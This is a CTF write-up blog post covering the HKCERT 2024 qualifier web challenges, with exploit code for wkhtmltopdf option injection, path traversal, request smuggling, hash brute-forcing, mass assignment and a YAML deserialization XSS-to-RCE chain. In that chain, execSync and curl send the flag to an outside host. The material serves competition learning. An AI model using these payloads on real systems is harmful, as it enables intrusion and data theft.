HKCERT 2024 Quals

swag

In this post, I’ll be covering the solutions to the web challenges from the HKCERT 2024 Qualifiers, with the exception of the final challenge. The competition lasted 48 hours, during which I only got four hours of sleep. The maximum team size for this CTF was four people.

swag

Thanks to the hard work of my teammates—KLPP, ItayB, and Aali—we secured 4th place and successfully qualified for the finals in January. Of all my teammates in this CTF, Aali was the true MVP. I’ve included his photo below so you can see who the real GOAT is!

swag

POV: Aali solving all kind of challenges

New Free Lunch - 587 Solves

Author: GonJK

You are Chris Wong, you have a mission to win the game and redeem the free meal. Try to get over 300 score. Your flag will appears in scoreboard.php.

The first challenge, in which I did the first blood in 2.53 minutes xD, was a basic web challenge where the score of a game is sent from the client to the server. For this challenge, and a few others, the organizers provided a beginner’s guide with the solution. Therefore, I won’t repeat the writeup here but will include the link instead. link to the writeup. If you’re new to this and found the challenge difficult or couldn’t solve it, don’t get discouraged—keep learning! We all started somewhere.

Webpage to PDF (1) - 295 Solves

Author: apple

Thanks to Poe I coded a webpage to PDF in seconds! I am genius right?

The second challenge, like the first, also comes with a writeup provided by the organizers. link.

Webpage to PDF (2) - 32 Solves

Author: apple

Okok I know Poe I used was bad and I just install library randomly from the Internet. I should be fine right?

The second version of the challenge is very similar to the first one. The goal is to exploit a service where a user can input a URL, and the service returns the pdf of the page. In the first challenge (spoiler alert), you could inject commands to exploit the service. The key difference in this version is that it now uses a PDFkit library. I include the relevant code from the challenge.

@app.route('/process', methods=['POST'])
def process_url():
    # Get the session ID of the user
    session_id = request.cookies.get('session_id')
    pdf_file = f"{session_id}.pdf"

    # Get the URL from the form
    url = request.form['url']
    
    # Download the webpage
    response = requests.get(url)
    response.raise_for_status()

    # Make PDF
    pdfkit.from_string(response.text, pdf_file)
    
    return redirect(pdf_file)

Similar to the previous challenge, this one also uses wkhtmltopdf underneath. While reviewing the library’s code, I found in the doc an interesting method for inserting options via the meta HTML tag. I gave it a try, and it worked. Basically, the meta tag requires both a name and content, which are passed to the tool to generate the PDF. In our case, since -enable-local-file-access doesn’t need a value, I added another random flag to prevent the program from crashing. Here’s the HTML used to solve the challenge:

<html>
    <meta name="pdfkit-orientation" content="Landscape"/>
    <meta name="pdfkit-enable-local-file-access" content="--collate"/>
    <body>asdasdasd</body>
    <iframe src=/flag.txt width="10000"></iframe>
</html>

Custom Web Server (1) - 95 Solves

Author: Mystiz

Someone said: ‘One advantage of having a homemade server is that it becomes much harder to hack.’ Do you agree? Give reasons. Note: The files in src/public are unrelated for the challenge.

The Custom Web Server challenges were released from the beginning of the competition, and I must admit, I really enjoyed these two challenges. In short, the goal of the challenge was to read the flag from the filesystem, with the server implemented in C. To mitigate potential flag access, the challenge includes a file extension check that prevents reading the flag (or does it?). The following code snippets show the relevant parts of the code.

// ....

#define PORT 8000
#define BUFFER_SIZE 1024

typedef struct {
    char *content;
    int size;
} FileWithSize;

bool ends_with(char *text, char *suffix) {
    int text_length = strlen(text);
    int suffix_length = strlen(suffix);

    return text_length >= suffix_length && \
           strncmp(text+text_length-suffix_length, suffix, suffix_length) == 0;
}

FileWithSize *read_file(char *filename) {
    if (!ends_with(filename, ".html") && !ends_with(filename, ".png") && !ends_with(filename, ".css") && !ends_with(filename, ".js")){ printf("NULL\n"); return NULL;}

    char real_path[BUFFER_SIZE];
    snprintf(real_path, sizeof(real_path), "public/%s", filename);

    printf("Read file: %s\n", real_path);

    FILE *fd = fopen(real_path, "r");
    if (!fd) return NULL;

    fseek(fd, 0, SEEK_END);
    long filesize = ftell(fd);
    fseek(fd, 0, SEEK_SET);

    char *content = malloc(filesize + 1);
    if (!content) return NULL;

    fread(content, 1, filesize, fd);
    content[filesize] = '\0';

    fclose(fd);

    FileWithSize *file = malloc(sizeof(FileWithSize));
    file->content = content;
    file->size = filesize;
 
    return file;
}

// ...more code...

void handle_client(int socket_id) {
    char buffer[BUFFER_SIZE];
    char requested_filename[BUFFER_SIZE];

    while (1) {
        memset(buffer, 0, sizeof(buffer));
        memset(requested_filename, 0, sizeof(requested_filename));

        if (read(socket_id, buffer, BUFFER_SIZE) == 0) return;

        if (sscanf(buffer, "GET /%s", requested_filename) != 1)
            return build_response(socket_id, 500, "Internal Server Error", read_file("500.html"));

        FileWithSize *file = read_file(requested_filename);
        if (!file)
            return build_response(socket_id, 404, "Not Found", read_file("404.html"));

        build_response(socket_id, 200, "OK", file);
    }
}

// ...more code...

As you can see, the server checks the file extension, allowing only types like ‘html’, ‘png’, ‘css’, or ‘js’. The issue arises when, after performing the check, the server adds ‘public’ to the buffer, which has a limit of 1024 characters. Therefore, any characters in the buffer between positions 1024 (BUFFER_LIMIT) and 1017 (BUFFER_LIMIT - len(‘public/’)) will be removed, and what remains is what’s actually returned by the system. Also, you have to remember that in the beginning the socket reads 1024 including GET /. If you want to test how it works, you can use the following code:

// main.c
// compile and test: gcc main.c; clear; ./a.out
#include <stdio.h>
#include <string.h>
#include <stdbool.h>

#define BUFFER_SIZE 1024

bool ends_with(char *text, char *suffix) {
    int text_length = strlen(text);
    int suffix_length = strlen(suffix);

    return text_length >= suffix_length && \
           strncmp(text+text_length-suffix_length, suffix, suffix_length) == 0;
}



int main() {
    // Declare the filename and real_path variables
    char buffer[BUFFER_SIZE] = "GET /../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../flag.txt.js";
    char filename[BUFFER_SIZE] = "";

    char real_path[BUFFER_SIZE];

    sscanf(buffer, "GET /%s", filename);
    
    printf("File: %s\n", filename);

    if (!ends_with(filename, ".html") && !ends_with(filename, ".png") && !ends_with(filename, ".css") && !ends_with(filename, ".js")){ 
        printf("NULL\n");
    }


    // Use snprintf to construct the full file path
    snprintf(real_path, sizeof(real_path), "public/%s", filename);

    // Print the real path
    printf("Read file: %s\n", real_path);

    // flag?
    if(ends_with(real_path, "flag.txt")){
        printf("YOU GOT THE FLAG: hkcert{bubu_flag}");
    }

    return 0;
}

My final solution that I used was (hkcert24{bu1ld1n9_4_w3bs3rv3r_t0_s3rv3_5t4t1c_w3bp4935_1s_n0ntr1vial):

curl --path-as-is "https://c02a-custom-server-1-1.hkcert24.pwnable.hk:1337/../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../flag.txt.js"

Custom Web Server (2) - 13 Solves

Author: Mystiz

Someone said: ‘One advantage of having a homemade server is that it becomes much harder to hack.’ Do you agree? Give reasons.

What is the difference between this and the first part? I will also use nginx to proxy your requests this time! Note: The files in src/public are still unrelated for the challenge.

As the description mentions, the key difference from the previous challenge is the use of an Nginx proxy with a proxy pass.

version: '3'

services:
  web:
    build:
      context: ./web
    # I am not exposing the port anymore!

  proxy:
    build:
      context: ./proxy
    ports:
      - 8081:80
user www-data;

thread_pool default threads=1 max_queue=65536;

events {
    worker_connections 1024;
}

http {
    upstream backend {
        server web:8000;
        keepalive 32;
    }

    server {
        listen 80;
        server_name proxy;

        location / {
            proxy_pass http://backend;
            proxy_set_header Host $host;
        }
    }
}

The issue here is that Nginx’s proxy pass forwards the processed URL to the backend. In other words, the path traversal trick we used previously doesn’t work because Nginx removes it before passing the request to the backend At this point, I spent a lot of time looking into Nginx misconfigurations, like off-by-one slashes, but eventually decided to go back to reading the code. Finally, I identified the issue in this part of the code:

void handle_client(int socket_id) {
    char buffer[BUFFER_SIZE];
    char requested_filename[BUFFER_SIZE];

    while (1) {
        memset(buffer, 0, sizeof(buffer));
        memset(requested_filename, 0, sizeof(requested_filename));

        if (read(socket_id, buffer, BUFFER_SIZE) == 0) return;

        if (sscanf(buffer, "GET /%s", requested_filename) != 1)
            return build_response(socket_id, 500, "Internal Server Error", read_file("500.html"));

        FileWithSize *file = read_file(requested_filename);
        if (!file)
            return build_response(socket_id, 404, "Not Found", read_file("404.html"));

        build_response(socket_id, 200, "OK", file);
    }
}

If you don’t pay close attention, it might go unnoticed. However, you can see that if the request is successful, there is no actual return, and the server continues reading from the buffer. In other words, we can send two HTTP requests in one. For Nginx, it’s the same request, but the server interprets both. This technique is similar to HTTP request smuggling, a well-known attack. After numerous attempts to manipulate the buffer, the final exploit is as follows: The main idea is to craft a first request that works, but also make the second part of the buffer a valid request. This requires adding some padding to properly align the second request.

import time
from pwn import *
import multiprocessing

#context.log_level = 'debug'

SERVER_NUMBER = 1

def send(p, line):
    for i in line.split('\n'):
        p.sendline(i)


amount_of_a = 905


payload = f"""GET /index.html HTTP/1.1
Host: c02b-custom-server-2-{SERVER_NUMBER}.hkcert24.pwnable.hk:1337
Content-Length: 1930
Connection: keep-alive

{"A"*amount_of_a}GET /../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../flag.txt.js



GET /index.html HTTP/1.1
Host: c02b-custom-server-2-{SERVER_NUMBER}.hkcert24.pwnable.hk:1337
Content-Length: 0
Connection: keep-alive


"""
p = remote(f"c02b-custom-server-2-{SERVER_NUMBER}.hkcert24.pwnable.hk", 1337, ssl=True)
send(p,payload)
data = b""
try:
    while True:
        new_data = p.recv(1024, timeout=5)
        if new_data == b'': break
        data += new_data
except EOFError:
    pass
except TimeoutError:
    pass

if b"hkcert" in data:
    print(data)
    sys.exit()

p.close()

#hkcert24{put71n9_4_pr0xy_d03sn7_m4k3_4_vuln3r461e_sy5t3m_s3cur3}

Mystiz’s Mini CTF (1) - 48 Solves

Author: Mystiz

“A QA engineer walks into a bar. Orders a beer. Orders 0 beers. Orders 99999999999 beers. Orders a lizard. Orders -1 beers. Orders a ueicbksjdhd.” I am working on yet another CTF platform. I haven’t implement all the features yet, but I am confident that it is at least secure. Can you send me the flag of the challenge “Hack this site!”?

In the case of these Mystiz Mini CTF challenges, I think the author expected more solves for the first part than the second. For me, the first part was relatively easy to solve, while I spent more time on the second part than I’d like to admit, even thought that it was also quite trivial when you spotted the vuln. The goal of the first challenge was to obtain FLAG_1, which was submitted by the user ‘player’ to the challenge with ID ‘1’. To give you a chance to spot the vulnerability, I’ll share the first relevant code snippet.

    # Table creation code...

    ADMIN_PASSWORD = os.urandom(33).hex()
    PLAYER_PASSWORD = os.urandom(3).hex()

    FLAG_1 = os.environ.get('FLAG_1', 'flag{***REDACTED1***}')
    FLAG_2 = os.environ.get('FLAG_2', 'flag{***REDACTED2***}')

    RELEASE_TIME_NOW    = date.today()
    RELEASE_TIME_BACKUP = date.today() + timedelta(days=365)

    db.session.add(User(id=1, username='admin', is_admin=True, score=0, password=ADMIN_PASSWORD))
    db.session.add(User(id=2, username='player', is_admin=False, score=500, password=PLAYER_PASSWORD, last_solved_at=datetime.fromisoformat('2024-05-11T03:05:00')))
    db.session.add(Challenge(id=1, title='Hack this site!', description=f'I was told that there is <a href="/" target="_blank">an unbreakable CTF platform</a>. Can you break it?', category=Category.WEB, flag=FLAG_1, score=500, solves=1, released_at=RELEASE_TIME_NOW))
    db.session.add(Challenge(id=2, title='cryp70 6r0s', description='<img src="/static/bitcoin.png" class="rounded mx-auto d-block">', category=Category.CRYPTO, flag='flag{cryp70_6r0s_t0_th3_m00n!}', score=500, solves=0, released_at=RELEASE_TIME_NOW))
    db.session.add(Challenge(id=3, title='ɿɘvɘɿƨƎ ɘnϱinɘɘɿinӘ', description='?ϱniɿɘɘniϱnɘ ɘƨɿɘvɘɿ ob uoγ nɒƆ .ϱniɿɘɘniϱnɘ bɿɒwɿoʇ ob nɘɟʇo ɘlqoɘᑫ', category=Category.REVERSE, flag='flag{llew_sgnirts_reenigne_esrever_nac_i}', score=500, solves=0, released_at=RELEASE_TIME_NOW))
    db.session.add(Challenge(id=4, title='Where is my canary?', description='<img src="/static/canary.png" class="rounded mx-auto d-block"><br />Challenge connectable at: <code>nc localhost 1337</code>', category=Category.PWN, flag='flag{i_can_see_a_canary_because_i_have_my_stack_protector_on}', score=500, solves=0, released_at=RELEASE_TIME_NOW))
    db.session.add(Challenge(id=5, title='Memory Forensics', description='"I am thinking of the flag. Can you navigate in my memory and find what the flag is?"', category=Category.FORENSICS, flag='flag{you_need_to_keep_tuning_to_synchronise_with_me}', score=500, solves=0, released_at=RELEASE_TIME_NOW))
    db.session.add(Challenge(id=6, title='You know the rules...', description='...and so do I!<br /><img src="/static/rickroll.gif" class="rounded mx-auto d-block">', category=Category.MISC, flag='flag{never_gonna_give_you_up_never_gonna_let_you_down}', score=500, solves=0, released_at=RELEASE_TIME_NOW))
    # I will release the below challenge if there are a lot of players complaining that the challenge is too guessy.
    db.session.add(Challenge(id=7, title='A placeholder challenge', description=f'Many players complained that the CTF is too guessy. We heard you. As an apology, we will give you a free flag. Enjoy - <code>{FLAG_2}</code>.', category=Category.MISC, flag=FLAG_2, score=500, solves=0, released_at=RELEASE_TIME_BACKUP))

    db.session.add(Attempt(challenge_id=1, user_id=2, flag=FLAG_1, is_correct=True, submitted_at=RELEASE_TIME_NOW))

If you weren’t able to spot the vulnerability, it lies in the password creation for the player. Instead of having 33 bytes, the password only allows 6 possible hexadecimal values. Instead of brute-forcing the login panel directly (len(string.hexdigits)**6=113.379.904), let’s take a look at the rest of the code to see if we can find a better approach. The following function defines how the password and the flag are saved in the database.

# utils.py

def compute_hash(password, salt=None):
    if salt is None:
        salt = os.urandom(4).hex()
    return salt + '.' + hashlib.sha256(f'{salt}/{password}'.encode()).hexdigest()

# /models/user.py

class User(db.Model):

# ... more code ...

    def check_password(self, password):
        salt, digest = self.password.split('.')
        return compute_hash(password, salt) == self.password

After reviewing these parts, we see that a salt is used to compare the password we enter with the stored password. So, how can we determine the result of the hash and salt in order to perform local processing and find the password? At that point, I turned my attention to the next part of the code.

class GroupAPI(MethodView):
    init_every_request = False

    def __init__(self, model):
        self.model = model

        self.name_singular = self.model.__tablename__
        self.name_plural = f'{self.model.__tablename__}s'
    
    def get(self):
        # the users are only able to list the entries related to them
        items = self.model.query_view.all()

        group = request.args.get('group')

        if group is not None and not group.startswith('_') and group in dir(self.model):
            grouped_items = collections.defaultdict(list)
            for item in items:
                id = str(item.__getattribute__(group))
                grouped_items[id].append(item.marshal())
            return jsonify({self.name_plural: grouped_items}), 200

        return jsonify({self.name_plural: [item.marshal() for item in items]}), 200


def register_api(app, model, name):
    group = GroupAPI.as_view(f'{name}_group', model)
    app.add_url_rule(f'/api/{name}/', view_func=group)
    

def init_app(app):
    # Views
    app.register_blueprint(pages.route, url_prefix='/')

    # API
    app.register_blueprint(users.route, url_prefix='/api/users')
    app.register_blueprint(challenges.route, url_prefix='/api/challenges')
    app.register_blueprint(admin_challenges.route, url_prefix='/api/admin/challenges')

Although I didn’t fully understand that part of the code, I noticed a request to /api/challenges/?group=category that seemed related. So, I tried something similar with users (/api/users/?group=password), using ‘password’ as the group parameter—and voilà!

{
  "users": {
    "1ae605f9.86cf107e81233595ce4d0cdbcece20e177e7cd22bcd27d07fb3ba10a6ad6a712": [
      {
        "id": 1,
        "is_admin": true,
        "score": 0,
        "username": "admin"
      }
    ],
    "77364c85.744c75c952ef0b49cdf77383a030795ff27ad54f20af8c71e6e9d705e5abfb94": [
      {
        "id": 2,
        "is_admin": false,
        "score": 500,
        "username": "player"
      }
    ]
  }
}

With the salt, the final hash, and the set of values to brute-force, I created this simple script to print the ‘player’ password.

import os
import sys
import string
import hashlib

PLAYER = "77364c85.744c75c952ef0b49cdf77383a030795ff27ad54f20af8c71e6e9d705e5abfb94"

SALT = PLAYER.split('.')[0]


for a in string.hexdigits:
    for b in string.hexdigits:
        for c in string.hexdigits:
            for d in string.hexdigits:
                for e in string.hexdigits:
                    for f in string.hexdigits:
                        result = SALT + '.' + hashlib.sha256(f'{SALT}/{a}{b}{c}{d}{e}{f}'.encode()).hexdigest()

                        if result == PLAYER:
                            # Final output: 'User: player, password: 7df71e'
                            print(f"User: player, password: {a}{b}{c}{d}{e}{f}")
                            sys.exit()

Finally, after logging in with the user, I used the same trick to exfiltrate the flag (/api/attempts/?group=flag) that the ‘player’ user submitted.


{"attempts":{"hkcert24{y0u_c4n_9r0up_unsp3c1f13d_4t7r1bu73s_fr0m_th3_4tt3mp7_m0d3l}":[{"challenge_id":1,"id":1,"is_correct":true,"user_id":2}]}}

Mystiz’s Mini CTF (2) - 72 Solves

Author: Mystiz

“A QA engineer walks into a bar. Orders a beer. Orders 0 beers. Orders 99999999999 beers. Orders a lizard. Orders -1 beers. Orders a ueicbksjdhd.” I am working on yet another CTF platform. I haven’t implement all the features yet, but I am confident that it is at least secure. Can you send me the flag of the challenge “A placeholder challenge”?

As I mentioned earlier, the second challenge was easier, but it took me some time to spot the vulnerability. The following code snippet contains the vulnerability:

@route.route('/register/', methods=[HTTPMethod.POST])
def register_submit():
    user = User()
    UserForm = model_form(User)

    form = UserForm(request.form, obj=user)

    if not form.validate():
        flash('Invalid input', 'warning')
        return redirect(url_for('pages.register'))

    form.populate_obj(user)

    user_with_same_username = User.query_view.filter_by(username=user.username).first()
    if user_with_same_username is not None:
        flash('User with the same username exists.', 'warning')
        return redirect(url_for('pages.register'))

    db.session.add(user)
    db.session.commit()

    login_user(user)
    return redirect(url_for('pages.homepage'))

I can honestly say that I went through this code 20-30 times without spotting the vulnerability. On the 31st time, I finally saw it. The vulnerability lies in the fact that the new user is created with all the input provided by the attacker. In other words, it’s not just the username and password that are used to create the user object. For example, if you send is_admin set to True during registration, the user will be created with admin privileges. So, the final solution, was to do that, login, go to Manage Challenges and see the description of the chall. Another possible solution was to wait until 2025 to get the flag.

JSPyaml - 18 Solves

Author: Ozetta

I only know how to parse YAML with Python, so I use JS to run Python to parse YAML.

This is one of the challenges I enjoyed the most because it involved client-side JavaScript with a bot and introduced interesting concepts, including the use of JavaScript libraries to execute Python on the client side. To solve this challenge, there were two key parts. The first was a client-side YAML parser using pyodide, which, as the documentation states, “Pyodide brings the Python runtime to the browser via WebAssembly, along with the Python scientific stack including NumPy, Pandas, Matplotlib, parts of SciPy, and NetworkX”.

<html>
...
<body>
    <h1>YAML Parser</h1>
    <textarea id="yaml" placeholder="- YAML"></textarea><br>
    <button id="parse">Parse</button>
    <h2>Output:</h2>
    <pre id="output"></pre>

    <script>
    let pyodide;
    async function init(){
    pyodide = await loadPyodide();
    await pyodide.loadPackage("pyyaml");
    runHash();
    }
    async function run(y){
    x = `+'`'+`import yaml
yaml.load("""`+`$`+`{y.replaceAll('"','')}""",yaml.Loader)`+'`'+`;
            try {
                output.textContent = await pyodide.runPythonAsync(x);
            } catch (e) {
                output.textContent = e;
            }
    }
        async function runHash() {
            const hash = decodeURIComponent(window.location.hash.substring(1));
            if (hash) {
                yaml.value = hash;
                run(hash);
            }
        }        
        parse.addEventListener("click", async () => {run(yaml.value)});
        onhashchange = runHash;
        onload = init;
    </script>
</body>
</html>

As you can see in the code, we need to insert our payload using the hash (#) in the URL, which is what we will report to the bot. After browsing through numerous resources and opening over 20 tabs, trying to escape the quotes to bypass the yaml.load function, I discovered that, from the Python code executed in Pyodide within the browser, you could access JavaScript scope variables like document. To execute our code, I tried the usual YAML payloads—and it worked. The following code is what I used to insert a script from my server (a.js).

!!python/object/new:str
state: !!python/tuple
- 'import js; script=js.document.createElement(chr(115) + chr(99) + chr(114) + chr(105) + chr(112) + chr(116)); script.src= (chr(104) + chr(116) + chr(116) + chr(112) + chr(115) + chr(58) + chr(47) + chr(47) + chr(115) + chr(97) + chr(112) + chr(111) + chr(114) + chr(101) + chr(109) + chr(46) + chr(115) + chr(101) + chr(114) + chr(118) + chr(101) + chr(111) + chr(46) + chr(110) + chr(101) + chr(116) + chr(47) + chr(97) + chr(46) + chr(106) + chr(115)); js.document.body.appendChild(script); print(1)'
- !!python/object/new:Warning
  state:
    update: !!python/name:exec

At this point, we had XSS in the bot, but the flag isn’t in the cookie like in typical challenges. Instead, the flag is stored in the server’s filesystem. So, what can we do? This is where the following server function comes into play.

app.post('/debug', (req, res) => {
    if(ip.isLoopback(req.ip) && req.cookies.debug === 'on'){
        const yaml = require('js-yaml');
        let schema = yaml.DEFAULT_SCHEMA.extend(require('js-yaml-js-types').all);
        try{
            let input = req.body.yaml;
            console.log(`Input: ${input}`);
            let output = yaml.load(input, {schema});
            console.log(`Output: ${output}`);
            res.json(output);
        }catch(e){
                console.log(e);
            res.status(400).send('Error');
        }
    }else{
        res.status(401).send('Unauthorized');
    }
});

I didn’t mention this function earlier because it needs to be accessed from the loopback IP. As you can see, there are two checks: one verifies the IP, and the other checks for the presence of a debug cookie. With XSS, it’s trivial to add the cookie, but how can we achieve RCE with a new YAML payload? If you look online, you’ll find that YAML’s default schemas remove problematic ones. However, in this case, they’ve included three schemas to the defaults [link]: !!js/regexp /pattern/gim, !!js/undefined and !!js/function 'function () {...}'. With a bit of searching, you’ll find that by having the function allowed, we only need to create a function that overrides the toString method. As an example:

{ toString:  !!js/function "function(){ print('EXECUTED') }"}

My final script is as follows. It essentially creates a JavaScript file (a.js) in the folder that will be imported into the webpage (python -m http.server + serveo). This script sets the required cookie, exploits the /debug endpoint POSTing the payload, and uses curl to send the flag back to my server. To make things easier, it prints the URL that needs to be sent to the bot. Remember, if you want to use this script, you’ll need to update the script inclusion source (script.src = ...) and adjust the saporem* endpoints.

URL = "http://localhost:3000/"
URL = "https://c62-jspyaml-t100068-dzirhrh7ddhu264prlne2its.hkcert24.pwnable.hk/"


PAYLOAD_FOR_XXS = """ 
!!python/object/new:str
state: !!python/tuple
- 'import js; script=js.document.createElement(chr(115) + chr(99) + chr(114) + chr(105) + chr(112) + chr(116)); script.src= (chr(104) + chr(116) + chr(116) + chr(112) + chr(115) + chr(58) + chr(47) + chr(47) + chr(115) + chr(97) + chr(112) + chr(111) + chr(114) + chr(101) + chr(109) + chr(46) + chr(115) + chr(101) + chr(114) + chr(118) + chr(101) + chr(111) + chr(46) + chr(110) + chr(101) + chr(116) + chr(47) + chr(97) + chr(46) + chr(106) + chr(115)); js.document.body.appendChild(script); print(1)'
- !!python/object/new:Warning
  state:
    update: !!python/name:exec
""" 

XSS_FILE = """


// Set the 'debug' cookie in the request
document.cookie = "debug=on; path=/";


// toString overiding trick
let payload = ` { toString: !!js/function "function(){ myurl='https://saporem.serveo.net/?'; flag=process.mainModule.require('child_process').execSync('/proof.sh','utf-8').toString(); process.mainModule.require('child_process').execSync(\`curl $\{myurl\}$\{flag\}\`,'utf-8').toString(); return flag }"}`


// Booom!! get flag
fetch("debug", {
    method: 'POST',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded' // Sending as form data
    },
    body: `yaml=${encodeURIComponent(payload)}`,
    credentials: 'same-origin' // This ensures cookies are sent with the request
})
.then(response => response.json())
.then(data => fetch(`https://saporem.serveo.net/?SUCCESS=${data}`))
.catch(error => fetch(`https://saporem.serveo.net/?ERROR=${data}`));

"""

# a.js file is requested from the page 
# after the exploit of PAYLOAD_FOR_XXS 
with open("a.js", "w") as f:
    f.write(XSS_FILE)

# Url to send to the bot
URL_WITH_PAYLOAD = URL + '#' + PAYLOAD_FOR_XXS.replace('\n', '\\n').replace(' ', '%20')
print("Report following url:")
print(URL_WITH_PAYLOAD)

⚡- 6 Solves

Author: Mystiz

The transaction fee in Ethereum is high. People researched in off-chain solutions like Raiden. Introducing ⚡, an open-source project that everyone can audit its source code! Register an account and enjoy zero transaction fees (except the first and the last transfers)!

This was the challenge that took me the longest to solve. I started working on it Friday night at 9:00 PM (UTC+1) and finally cracked it by 7:00 AM. It wasn’t just that it was hard—I was also feeling tired, making a lot of mistakes, and spending ages debugging. It was funny seeing my family go to bed around 11 PM, only to find me in the exact same spot at 7 AM! 😆

To be fully transparent, I ended up with 14 different scripts by the time I finished this challenge.

swag

The goal of this challenge is to have an account with over 10e18 Ethereum. When the challenge begins, there’s an existing account with 10e17. To participate, you’ll need a basic Ethereum account with public and private keys (I created mine using MetaMask) to sign messages and perform other actions. The created account that has the ethereums is 0x71f30b7b29846a5deb9a0913b3c240b61ae027f7, and my account with 0 ETH for following scripts will be 0x214ee551e19f6a53b6c33f6a75a1b162ab1b370f.

I quickly noticed an SQL injection vulnerability in the account parameters, as shown in the following snippet.

...
const [{ count: duplicateUsernameCount }] = await runQuery(db, `SELECT COUNT(*) as count FROM users WHERE account = '${account}'`)
...

The issue was that it seemed impossible (is it truly impossible to reach that part?) to trigger that section with an SQL injection payload instead of an account identifier.

const { account, signature } = req.body

const accountBuffer = getBufferFromHex(account, 20)
if (!accountBuffer) {
    return res.status(400).json({ 'error': 'Invalid account format' })
}
const signatureBuffer = getBufferFromHex(signature, 65)
if (!signatureBuffer) {
    return res.status(400).json({ 'error': 'Invalid signature format' })
}
const message = `I am ${account} and I am signing in`
if (!verifySignature(message, accountBuffer, signatureBuffer)) {
    return res.status(400).json({ 'error': 'Invalid signature' })
}

After spending some time scrolling through the code, looking for a way to ‘create’ Ethereum, I paused when I found this snippet.

function getBufferFromHex(hexString, byteLength) {
    if (hexString.length !== 2 + 2*byteLength) return
    const regex = new RegExp(`0x[0-9a-f]{${2 * byteLength}}`)
    if (!regex.test(hexString)) return
    const buffer = Buffer.from(`${hexString}`.slice(2), 'hex')
    if (buffer.length !== byteLength) return

    return buffer
}

At first, I didn’t fully understand the checks, but I was just curious about how it worked. For cases like this, and for most challenges that aren’t straightforward, I like to spend some time adding debugging context. In this case, I extracted that part of the code and started running tests. Most of the time, understanding what’s going on is key to solving CTF challenges. With experience from playing many of them, there will be cases that remind you of a previous challenge you’ve solved or read a write-up about. This is the code that I used for debugging if I was able to pass the checks:


const { ecsign, hashPersonalMessage, ecrecover, publicToAddress } = require('@ethereumjs/util');


const private = "09009400...PRIVATE...KEY...9c4550816b8b8e276"
const privateKey = Buffer.from(private, 'hex'); // Replace with your actual private key

// From the challenge
function verifySignature(message, accountBuffer, signatureBuffer) {
    try {
        const hash = hashPersonalMessage(Buffer.from(message))
        const sigR = signatureBuffer.subarray(0, 32)
        const sigS = signatureBuffer.subarray(32, 64)
        const sigV = BigInt(`0x${signatureBuffer.subarray(64, 65).toString('hex')}`)

        const publicKey = ecrecover(hash, sigV, sigR, sigS)
        const accountBuffer2 = publicToAddress(publicKey)

        return !accountBuffer.compare(accountBuffer2)
    } catch (err) {
        console.log(err)
        return false
    }
}

// From the challenge
function getBufferFromHex(hexString, byteLength) {
        //console.log(`${hexString.length} !== ${2+2*byteLength}`);
        if (hexString.length !== 2 + 2*byteLength){ console.log('1'); return}
        const regex = new RegExp(`0x[0-9a-f]{${2 * byteLength}}`)
        if (!regex.test(hexString)){console.log(2); return}
        const buffer = Buffer.from(`${hexString}`.slice(2), 'hex')
        //console.log(`${buffer.length} !== ${byteLength}`);
        if (buffer.length !== byteLength) return
        return buffer
}


// My account
let account = "0x214ee551e19f6a53b6c33f6a75a1b162ab1b370f"
let accountBuffer = getBufferFromHex(account, 20)

let message = `I am ${account} and I am signing in`;
const messageHash = hashPersonalMessage(Buffer.from(message));

let signature = ecsign(messageHash, privateKey);
const signatureHex = `0x${Buffer.from(signature.r).toString('hex')}${Buffer.from(signature.s).toString('hex')}${signature.v.toString(16)}`
let signatureBuffer = getBufferFromHex(signatureHex, 65)

// Checks
console.log("[CHECK 1] The account buffer result and the account are the same?");
console.log(`${("0x"+accountBuffer.toString('hex'))=="0x214ee551e19f6a53b6c33f6a75a1b162ab1b370f"}`);
console.log("[CHECK 2] Is the signature hex correct?");
console.log(signatureHex == "0xc0e541896a788d0afec081c5af24ad708d9a6c9046f8da2693edd325b42b545f0ea5b816a6da1c03999cf1466a124d5f44deda497a424f14cdf1739b247cf7b51c");

if(!accountBuffer || !signatureBuffer){console.log('WHAT');}

console.log("[CHECK 3] Is the verify signature correct?");
if (!verifySignature(message, accountBuffer, signatureBuffer)) {
    console.log("NOPE");
    return
}

console.log("It works!");

One thing I noticed quickly, probably due to my experience, was that there were no checks on the variable type. So, I started testing with lists instead of strings. The first thing I tested was using a list instead of a string, and the following image shows how the buffer behaves with the challenge’s code.

swag

After testing individually, the final template for experimenting with the SQL injection was this:

swag

After this, we had our template for using the SQL injection. The next question was: how do we generate the money to reach the flag? Since we can’t execute another SQL statement, let’s review the code again.


router.post('/transfer', authenticate, async function (req, res) {
    try {
        const { to_account: toAccount, amount, signature } = req.body
